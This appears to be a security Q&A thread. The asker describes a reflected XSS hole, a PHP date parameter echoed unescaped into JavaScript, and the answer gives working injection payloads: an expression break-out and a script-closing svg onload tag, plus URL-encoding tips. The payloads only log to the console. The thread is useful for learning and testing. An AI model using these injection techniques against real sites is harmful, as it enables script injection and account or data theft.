set newline or slash through URL

Question

There is an option to set date range through URL address bar like this

domain.tld/process/date_range:2017-04-13%7C2017-05-02

GET parameter is parsed in PHP like this

    ...
<?php if(isset($dateTo)): ?>
    endDate: moment("<?php echo $dateTo; ?>", "YYYY-MM-DD"),
<?php else : ?>
    ...

and the this is echoed directly to javascript

<script>
$(document).ready(function() {

    $('#r').daterangepicker({
        startDate: moment("2017-04-01", "YYYY-MM-DD"),
        endDate: moment("2017-05-1", "YYYY-MM-DD"),
        ...

so i am trying to modify GET param by adding

")%7D);console.log(1234);});

then i am able to get

<script>
$(document).ready(function() {
    $('#r').daterangepicker({
        startDate: moment("2017-04-13", "YYYY-MM-DD"),
        endDate: moment("2017-05-02")});console.log(1234);});", "YYYY-MM-DD"),
        ...

but line

endDate: moment("2017-05-02")});console.log(1234);});", "YYYY-MM-DD"),

generates syntax error and then console.log(1234) is not interpreted.

How can I get that working?

its internal project

Answer 1

You code has at least one closing bracket too much. You need to properly comment out the junk at the end (with // or /*):

        endDate: moment("2017-05-02")});console.log(1234);});", "YYYY-MM-DD"),
                                                             |---------------|

But in your example, the easiest XSS payload would just be:

",console.log(1234),"

Instead of adding an extra statement, this injects console.log as an expression.

If you don't want to mess with the Javascript syntax (and angle brackets are permitted), you can also just close the script block and open a new tag, like so:

</script><svg/onload=console.log(1234)>

This works because the syntax error you're producing in the previous script doesn't block other independent scripts on the site from executing.

(Slashes can be URL-encoded as %2f and newline characters as %0a or %0d%0a, respectively.)